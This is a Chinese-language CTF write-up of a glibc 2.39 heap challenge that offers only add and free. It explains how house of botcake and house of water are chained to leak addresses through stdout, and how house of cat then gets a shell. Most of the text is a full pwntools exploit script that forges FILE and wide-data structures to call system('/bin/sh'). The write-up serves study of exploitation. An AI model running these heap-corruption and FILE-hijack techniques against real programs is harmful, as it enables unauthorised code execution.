一道非常有意思的堆题,glibc 2.39的堆,保护全开,并且只给了add和free,没有show和edit
使用手法:house of water,house of botcake,house of cat
个人比赛中被泄露难倒了没做出来,赛后了解到house of water这个手法后才将其复现出来,不过就算知道house of water个人感觉这道题的堆风水还是很难的因为house of water的利用条件十分苛刻,而题目中只给了double free的原语,本人知道了house of water后在堆风水的布置这一块还是想了很久。
先看题目,典型的菜单堆,只有add和free,show函数是空的,gift给的东西完全没用
free后没有清空指针有double free
add 可以申请最多0xff个chunk,每个chunk最大大小为0x888,申请chunk后会给你机会从自定义的偏移开始写入一共有3次机会 很明显这道题的重点没有办法泄露libc,我们得通过某种手段改掉stdout才能完成泄露,而在高版本中能够在无libc的情况下完成这种任务的就只有house of water了(或许还有别的只是我不知道)
house of water需要一共需要3点条件
能够申请大量的chunk,使我们能够构造出大小为0x10001的fake chunk,这点题目已经满足
在unsorted start 上的构造出一个0x20的chunk,在unsorted end 的上方构造出一个0x30的chunk,并将这两个free掉
利用UAF篡改unsorted start 和 unsorted end的bk和fd指针的末字节,指向0x10001的fake chunk
关于第二点我们很容易通过house of botcake手法构造堆重叠,通过精心计算将重叠的unsorted chunk分别割出0x30和0x20大小的chunk到unsorted start 和unsorted end 的头上,但是那块0x20大小chunk会带来问题,可以看到在割完后我们那块重叠的chunk的chunk头在unsorted end的fd和bk的指针域上,而我们的0x20大小的chunk只能覆盖到unsorted end的chunk头,那么此时我们将无法修改unsorted end的指针域 ,因为由于我们需要构造一个0x20大小的chunk在unsorted end头上,那块重叠的chunk的chunk头将不可避免落到unsorted end的指针域,导致我们无法满足第三点修改unsorted end的指针域 因此我们需要使用两次house of botcake使得unsorted end与两个堆块重叠 ,其中一个堆块用来构造0x30和0x20大小的chunk ,另一个堆块用来修改unsorted end和unsorted start的指针域 ,具体而言我们通过第一次house of botcake构造出一次堆重叠,此时0x820大小chunk与unsorted bin中chunk构成了重叠 我们再使用这个在unsorted bin中chunk再用一次house of botcake进行第二次堆重叠 构造完成之后如图所示0x5f98f80a56d0(0x821)与0x5f98f80a5b10(0x3e1)重叠,而0x5f98f80a5b10又与0x5f98f80a5d00(0x1f1)重叠重叠,也就是说0x5f98f80a5d00与两个堆块发生了重叠,我们unsorted start, unsorted mid, unsorted mid都要放在0x5f98f80a5d00里面,然后可以使用两个重叠的堆块,一个用来构造0x30和0x20大小的chunk,另一个用来修改unsorted end和unsorted start的指针域 剩下的就是正常的house of water,去修改stdout,泄露完之后打house of cat
from pwn import *
from LibcSearcher import *
context(log_level='debug' ,arch='amd64' ,os='linux' )
io = process("./whatheap" )
libc=ELF("./libc.so.6" )
def add (size, content ):
io.recvuntil(b"Your choice >> " )
io.sendline(b"1" )
io.recvuntil("Input the size of your chunk: " )
io.sendline(str (size).encode())
io.recvuntil(b"do you want to play a game ?(1/0)" )
io.sendline(b"0" )
io.recvuntil(b"Input:" )
io.sendline(content)
def add_offset (size, offset, content ):
io.recvuntil(b"Your choice >> " )
io.sendline(b"1" )
io.recvuntil("Input the size of your chunk: " )
io.sendline(str (size).encode())
io.recvuntil(b"do you want to play a game ?(1/0)" )
io.sendline(b"1" )
io.recvuntil(b"you can set a offset!" )
io.sendline(str (offset))
io.recvuntil(b"Input: " )
io.sendline(content)
def free (index ):
io.recvuntil(b"Your choice >> " )
io.sendline(b"2" )
io.recvuntil(b"idx:" )
io.sendline(str (index).encode())
def new_add (size, content ):
io.recvuntil(b"Your choice >> " )
io.sendline(b"1" )
io.recvuntil("Input the size of your chunk: " )
io.sendline(str (size).encode())
io.recvuntil(b"Input:" )
io.sendline(content)
add(0x3d8 , b"a" )
add(0x3e8 , b"a" )
free(0 )
free(1 )
for i in range (7 ):
add(0x400 , b"a" )
add(0x400 , b"a" )
add(0x400 , b"a" )
add(0x400 , b"a" )
for i in range (7 ):
free(i + 2 )
free(0xa )
free(0x9 )
add(0x400 , b"a" )
free(0xa )
add(0x810 , b"a" )
add(0x400 , b"a" )
free(0xb )
free(0xe )
add(0x20 , b"a" )
add(0x1e0 , b"a" )
add(0x1e0 , b"a" )
for i in range (8 ):
add(0x1e0 , b"a" )
for i in range (7 ):
free(0x12 + i)
free(0x11 )
free(0x10 )
add(0x1e0 , b"a" )
free(0x11 )
add(0x3d0 , b"a" )
add(0x3d0 , b"a" )
free(0x1b )
add(0x1e0 , b"a" )
free(0x1a )
free(0x1d )
add(0x80 , b"a" )
add(0x10 , p64(0 ) * 2 )
add(0x80 , b"a" )
add(0x10 , p64(0 ) * 2 )
add(0x80 , b"a" )
free(0xd )
add(0x610 , b"a" )
add(0x20 , p64(0 ) + p64(0x91 ))
add(0x120 , b"a" )
add(0x10 , p64(0 ) + p64(0x91 ))
add(0x70 , b"a" )
for i in range (0x3d ):
add(0x2f0 , b"a" )
for i in range (0x7 ):
add(0x80 , b"a" )
add(0x318 , b"\x00" * 0x300 + p64(0x10000 ) + p64(0x20 ))
for i in range (0x7 ):
free(0x65 + i)
free(0x22 )
free(0x20 )
free(0x1e )
free(0x24 )
free(0x26 )
free(0x1c )
add(0x3d0 ,b"\x00" * 0x1d0 + p64(0 ) + p64(0x31 ) + p64(0 ) + p64(0x91 ) + b"\x80" + b"\x10" )
free(0x1c )
add_offset(0x3d0 , 0x340 , p64(0 ) + p64(0x91 ))
free(0x1c )
add_offset(0x3d0 , 0x358 , b"\x80" + b"\x10" )
for i in range (7 ):
add(0x400 , b"a" )
add(0x500 , b"\xc0" + b"\x45" )
add(0x10 , p64(0xFBAD3887 ))
free(0x77 )
add(0x500 , p64(0 ) +b"\xd0" + b"\x45" )
add_offset(0x20 , 0x10 , b"\x20" + b"\x3b" )
heap_addr = u64(io.recv(8 ))
io.recv(0x18 )
libc_base = u64(io.recv(0x8 )) - 0x203b30
print ("libc_addr:" , hex (libc_base))
print ("heap_addr:" , hex (heap_addr))
IO_list_all = libc_base + libc.symbols["_IO_list_all" ]
system_addr = libc_base + libc.sym["system" ]
victim_heap = heap_addr - 0xfdf0
wide_file_jump = libc_base + libc.symbols["_IO_wfile_jumps" ] + 0x30
free(0x24 )
free(0x77 )
new_add(0x500 , p64(0 ) + p64(IO_list_all))
new_add(0x20 , p64(victim_heap))
fake_wide_data_addr = victim_heap + 0x100
fake_file = b"/bin/sh\x00" + p64(0 ) * 3 + p64(0 ) + p64(1 )
fake_file = fake_file.ljust(0x88 , b"\x00" ) + p64(victim_heap + 0x100 )
fake_file = fake_file.ljust(0xa0 , b"\x00" ) + p64(victim_heap + 0x100 )
fake_file = fake_file.ljust(0xd8 , b"\x00" ) + p64(wide_file_jump)
fake_file = fake_file.ljust(0x100 , b"\x00" )
fake_wide_data = p64(0 ) * 2 + p64(0 ) + p64(1 ) + p64(system_addr)
fake_wide_data = fake_wide_data.ljust(0xe0 , b"\x00" )
fake_wide_data += p64(fake_wide_data_addr + 0x8 )
new_add(0x3d0 , fake_file + fake_wide_data)
io.recvuntil(b"Your choice >> " )
io.sendline(b"5" )
io.interactive()
成功拿到shell